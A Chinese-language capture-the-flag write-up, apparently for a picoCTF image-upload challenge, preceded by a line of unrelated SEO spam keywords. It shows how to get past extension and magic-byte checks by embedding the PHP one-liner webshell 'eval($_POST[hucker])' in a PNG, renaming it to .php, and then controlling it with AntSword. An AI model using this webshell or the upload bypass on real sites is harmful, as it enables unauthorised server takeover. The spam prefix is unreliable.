通辽做网站通过seo来赚钱,商品网站建设设计思路,网络营销的特点不包括以下,扬中网站建设服务Description I found a web app that can help process images: PNG images only! 这应该是个上传漏洞了#xff0c;十几年没用过了#xff0c;不知道思路是不是一样的#xff0c;以前的思路是通过上传漏洞想办法上传一个木马#xff0c;拿到webshell#xff0c;今天试试看… Description I found a web app that can help process images: PNG images only! 这应该是个上传漏洞了十几年没用过了不知道思路是不是一样的以前的思路是通过上传漏洞想办法上传一个木马拿到webshell今天试试看能不能成功。 随便翻一翻源码没有找到什么有用的信息只找到一个robots.txt这还是最近才学到的给Google提供的map文件 robots.txt发现如下信息
User-agent: *
Disallow: /instructions.txt
Disallow: /uploads/有一个/uploads/文件夹这里应该就是文件上传后的地址了
/instructions.txt文件信息如下大意是提交时验证.png 扩展名然后还要验证文件字节的正确性
Lets create a web app for PNG Images processing.
It needs to:
Allow users to upload PNG images
look for .png extension in the submitted files
make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain PNG in hexadecimal: 50 4E 47 )
after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.那我i们就试一试上传一个非png文件提示需要.png后缀把非png文件后缀改为.png发现后端也有有文件头验证可能这就是/instructions.txt 所说
随便制作一个png图片直接截图保存越小越好便于我们查看修改文件信息上传png图片 使用Burpsuite抓包查看请求信息Content-Type: image/png 这应该就是后端的验证关键了吧 修改png文件信息加上PHP一句话木马修改一下filename后缀加上.php这里后缀的验证是前端js做的用Burpsuite发送请求就不必考虑后缀的验证问题了 如图返回上传成功
?php eval($_POST[hucker]);?接下来我们使用中国蚁剑连接木马地址以前用菜刀管理webshell爬取网站文件信息挺好用的百度找到一个中国蚁剑就决定试试看介绍好像也是根据菜刀改的。这种黑客软件最好是去github下载原版可以验证MD5毕竟是开源的东西一般不会存在后门。
连接我们的木马前面我们通过robots.txt看到文件上传目录是uploads组合一下得到地址[http://atlas.picoctf.net:49226/uploads/2.png.php]输入密码hucker 连接
直接查看网站文件找到一个GAZWIMLEGU2DQ.txt 里面就是flag了